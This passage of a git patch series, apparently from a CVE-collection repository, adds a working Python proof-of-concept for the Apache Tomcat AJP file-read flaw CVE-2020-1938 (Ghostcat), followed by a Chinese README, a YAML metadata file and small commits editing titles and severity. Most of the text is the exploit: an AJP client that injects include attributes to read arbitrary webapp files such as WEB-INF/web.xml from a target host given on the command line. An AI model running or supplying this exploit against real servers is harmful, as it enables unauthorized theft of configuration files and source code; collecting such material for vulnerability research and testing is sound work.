AjpBodyRequest.SERVER_TO_CONTAINER: + header = struct.pack(">bbH", 0x12, 0x34, len(res)) + else: + header = struct.pack(">bbH", 0x41, 0x42, len(res)) + return header + res + def send_and_receive(self, socket, stream): + while True: + data = self.serialize() + socket.send(data) + r = AjpResponse.receive(stream) + while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: + r = AjpResponse.receive(stream) + + if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: + break +class AjpForwardRequest(object): + _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) + REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} + # server == web server, container == servlet + SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) + COMMON_HEADERS = ["SC_REQ_ACCEPT", + "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", + "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", + "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" + ] + ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] + def __init__(self, data_direction=None): + self.prefix_code = 0x02 + self.method = None + self.protocol = None + self.req_uri = None + self.remote_addr = None + self.remote_host = None + self.server_name = None + self.server_port = None + self.is_ssl = None + self.num_headers = None + self.request_headers = None + self.attributes = None + self.data_direction = data_direction + def pack_headers(self): + self.num_headers = len(self.request_headers) + res = "" + res = struct.pack(">h", self.num_headers) + for h_name in self.request_headers: + if h_name.startswith("SC_REQ"): + code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 + res += struct.pack("BB", 0xA0, code) + else: + res += pack_string(h_name) + + res += pack_string(self.request_headers[h_name]) + return res + + def pack_attributes(self): + res = b"" + for attr in self.attributes: + a_name = attr['name'] + code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 + res += struct.pack("b", code) + if a_name == "req_attribute": + aa_name, a_value = attr['value'] + res += pack_string(aa_name) + res += pack_string(a_value) + else: + res += pack_string(attr['value']) + res += struct.pack("B", 0xFF) + return res + def serialize(self): + res = "" + res = struct.pack("bb", self.prefix_code, self.method) + res += pack_string(self.protocol) + res += pack_string(self.req_uri) + res += pack_string(self.remote_addr) + res += pack_string(self.remote_host) + res += pack_string(self.server_name) + res += struct.pack(">h", self.server_port) + res += struct.pack("?", self.is_ssl) + res += self.pack_headers() + res += self.pack_attributes() + if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: + header = struct.pack(">bbh", 0x12, 0x34, len(res)) + else: + header = struct.pack(">bbh", 0x41, 0x42, len(res)) + return header + res + def parse(self, raw_packet): + stream = StringIO(raw_packet) + self.magic1, self.magic2, data_len = unpack(stream, "bbH") + self.prefix_code, self.method = unpack(stream, "bb") + self.protocol = unpack_string(stream) + self.req_uri = unpack_string(stream) + self.remote_addr = unpack_string(stream) + self.remote_host = unpack_string(stream) + self.server_name = unpack_string(stream) + self.server_port = unpack(stream, ">h") + self.is_ssl = unpack(stream, "?") + self.num_headers, = unpack(stream, ">H") + self.request_headers = {} + for i in range(self.num_headers): + code, = unpack(stream, ">H") + if code > 0xA000: + h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] + else: + h_name = unpack(stream, "%ds" % code) + stream.read(1) # \0 + h_value = unpack_string(stream) + self.request_headers[h_name] = h_value + def send_and_receive(self, socket, stream, save_cookies=False): + res = [] + i = socket.sendall(self.serialize()) + if self.method == AjpForwardRequest.POST: + return res + + r = AjpResponse.receive(stream) + assert r.prefix_code == AjpResponse.SEND_HEADERS + res.append(r) + if save_cookies and 'Set-Cookie' in r.response_headers: + self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] + + # read body chunks and end response packets + while True: + r = AjpResponse.receive(stream) + res.append(r) + if r.prefix_code == AjpResponse.END_RESPONSE: + break + elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: + continue + else: + raise NotImplementedError + break + + return res + +class AjpResponse(object): + _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) + COMMON_SEND_HEADERS = [ + "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", + "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" + ] + def parse(self, stream): + # read headers + self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") + + if self.prefix_code == AjpResponse.SEND_HEADERS: + self.parse_send_headers(stream) + elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: + self.parse_send_body_chunk(stream) + elif self.prefix_code == AjpResponse.END_RESPONSE: + self.parse_end_response(stream) + elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: + self.parse_get_body_chunk(stream) + else: + raise NotImplementedError + + def parse_send_headers(self, stream): + self.http_status_code, = unpack(stream, ">H") + self.http_status_msg = unpack_string(stream) + self.num_headers, = unpack(stream, ">H") + self.response_headers = {} + for i in range(self.num_headers): + code, = unpack(stream, ">H") + if code <= 0xA000: # custom header + h_name, = unpack(stream, "%ds" % code) + stream.read(1) # \0 + h_value = unpack_string(stream) + else: + h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] + h_value = unpack_string(stream) + self.response_headers[h_name] = h_value + + def parse_send_body_chunk(self, stream): + self.data_length, = unpack(stream, ">H") + self.data = stream.read(self.data_length+1) + + def parse_end_response(self, stream): + self.reuse, = unpack(stream, "b") + + def parse_get_body_chunk(self, stream): + rlen, = unpack(stream, ">H") + return rlen + + @staticmethod + def receive(stream): + r = AjpResponse() + r.parse(stream) + return r + +import socket + +def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): + fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) + fr.method = method + fr.protocol = "HTTP/1.1" + fr.req_uri = req_uri + fr.remote_addr = target_host + fr.remote_host = None + fr.server_name = target_host + fr.server_port = 80 + fr.request_headers = { + 'SC_REQ_ACCEPT': 'text/html', + 'SC_REQ_CONNECTION': 'keep-alive', + 'SC_REQ_CONTENT_LENGTH': '0', + 'SC_REQ_HOST': target_host, + 'SC_REQ_USER_AGENT': 'Mozilla', + 'Accept-Encoding': 'gzip, deflate, sdch', + 'Accept-Language': 'en-US,en;q=0.5', + 'Upgrade-Insecure-Requests': '1', + 'Cache-Control': 'max-age=0' + } + fr.is_ssl = False + fr.attributes = [] + return fr + +class Tomcat(object): + def __init__(self, target_host, target_port): + self.target_host = target_host + self.target_port = target_port + + self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.socket.connect((target_host, target_port)) + self.stream = self.socket.makefile("rb", bufsize=0) + + def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): + self.req_uri = req_uri + self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) + print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) + if user is not None and password is not None: + self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') + for h in headers: + self.forward_request.request_headers[h] = headers[h] + for a in attributes: + self.forward_request.attributes.append(a) + responses = self.forward_request.send_and_receive(self.socket, self.stream) + if len(responses) == 0: + return None, None + snd_hdrs_res = responses[0] + data_res = responses[1:-1] + if len(data_res) == 0: + print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) + return snd_hdrs_res, data_res + +''' +javax.servlet.include.request_uri +javax.servlet.include.path_info +javax.servlet.include.servlet_path +''' + +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("target", type=str, help="Hostname or IP to attack") +parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") +parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") +args = parser.parse_args() +t = Tomcat(args.target, args.port) +_,data = t.perform_request('/asdf',attributes=[ + {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, + {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, + {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, + ]) +print('----------------------------') +print("".join([d.data for d in data])) diff --git a/cve/apache-tomcat/2020/CVE-2020-1938/README.md b/cve/apache-tomcat/2020/CVE-2020-1938/README.md new file mode 100644 index 00000000..e5a6cb75 --- /dev/null +++ b/cve/apache-tomcat/2020/CVE-2020-1938/README.md @@ -0,0 +1,19 @@ +# CVE-2020-1938-Tomcat-Ajp-lfi +Apache Tomcat-Ajp协议文件读取 漏洞 (CNVD-2020-10487/CVE-2020-1938) + +# Tomcat +#Use +Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。 +CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。 + + + +# eg + +python3 CVE-2020-1938.py + +# reference +code from: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi + + + diff --git a/cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml b/cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml new file mode 100644 index 00000000..dcd5e798 --- /dev/null +++ b/cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml @@ -0,0 +1,21 @@ +id: CVE-2020-1938 +source: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi +info: + name: Apache Tomcat CVE-2020-1938. + severity: high + description: + CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。 + + scope-of-influence: + Apache Tomcat < 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50, 7.0.0 to 7.0.99, 6.x + reference: + - https://github.com/0nise/CVE-2020-1938 + - https://nvd.nist.gov/vuln/detail/CVE-2020-1938 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 CRITICAL + cve-id: CVE-2020-1938 + cwe-id: NVD-CWE-Other + cnvd-id: None + kve-id: None + tags: cve2020, Apache, Tomcat, Ajp -- Gitee From 9199d007a9bc31abbab051d8c6927796350f3ee1 Mon Sep 17 00:00:00 2001 From: MaJiahao Date: Mon, 13 Mar 2023 12:46:46 +0000 Subject: [PATCH 10/13] update cve/apache-tomcat/2020/CVE-2020-1938/README.md. Signed-off-by: MaJiahao --- cve/apache-tomcat/2020/CVE-2020-1938/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/apache-tomcat/2020/CVE-2020-1938/README.md b/cve/apache-tomcat/2020/CVE-2020-1938/README.md index e5a6cb75..33234d8a 100644 --- a/cve/apache-tomcat/2020/CVE-2020-1938/README.md +++ b/cve/apache-tomcat/2020/CVE-2020-1938/README.md @@ -1,4 +1,4 @@ -# CVE-2020-1938-Tomcat-Ajp-lfi +# CVE-2020-1938 Apache Tomcat-Ajp协议文件读取 漏洞 (CNVD-2020-10487/CVE-2020-1938) # Tomcat -- Gitee From 8b620e36e901b5044d30b6084f8c842d65275969 Mon Sep 17 00:00:00 2001 From: MaJiahao Date: Mon, 13 Mar 2023 12:47:17 +0000 Subject: [PATCH 11/13] update openkylin_list.yaml. Signed-off-by: MaJiahao --- openkylin_list.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 9d192e65..487605dc 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -11,7 +11,7 @@ cve: apache-tomcat: - CVE-2022-29885 - CVE-2020-9484 - - CVE-2020-10487 + - CVE-2020-1938 apache-Spark: - CVE-2022-33891 linux-kernel: -- Gitee From eea3622bf69c67fb994c5754bcdf3820b04c6f1c Mon Sep 17 00:00:00 2001 From: MaJiahao Date: Tue, 14 Mar 2023 13:54:25 +0000 Subject: [PATCH 12/13] update cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml. Signed-off-by: MaJiahao --- cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml b/cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml index dcd5e798..e9e00450 100644 --- a/cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml +++ b/cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml @@ -1,8 +1,8 @@ id: CVE-2020-1938 source: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi info: - name: Apache Tomcat CVE-2020-1938. - severity: high + name: Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。 + severity: CRITICAL description: CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。 @@ -13,7 +13,7 @@ info: - https://nvd.nist.gov/vuln/detail/CVE-2020-1938 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 CRITICAL + cvss-score: 9.8 cve-id: CVE-2020-1938 cwe-id: NVD-CWE-Other cnvd-id: None -- Gitee From 0062c880e694ca9769a65602ce275fa94e91a935 Mon Sep 17 00:00:00 2001 From: MaJiahao Date: Tue, 14 Mar 2023 13:55:02 +0000 Subject: [PATCH 13/13] update cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml. Signed-off-by: MaJiahao --- cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml b/cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml index e9e00450..42c8804b 100644 --- a/cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml +++ b/cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml @@ -2,7 +2,7 @@ id: CVE-2020-1938 source: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi info: name: Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。 - severity: CRITICAL + severity: critical description: CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。 -- Gitee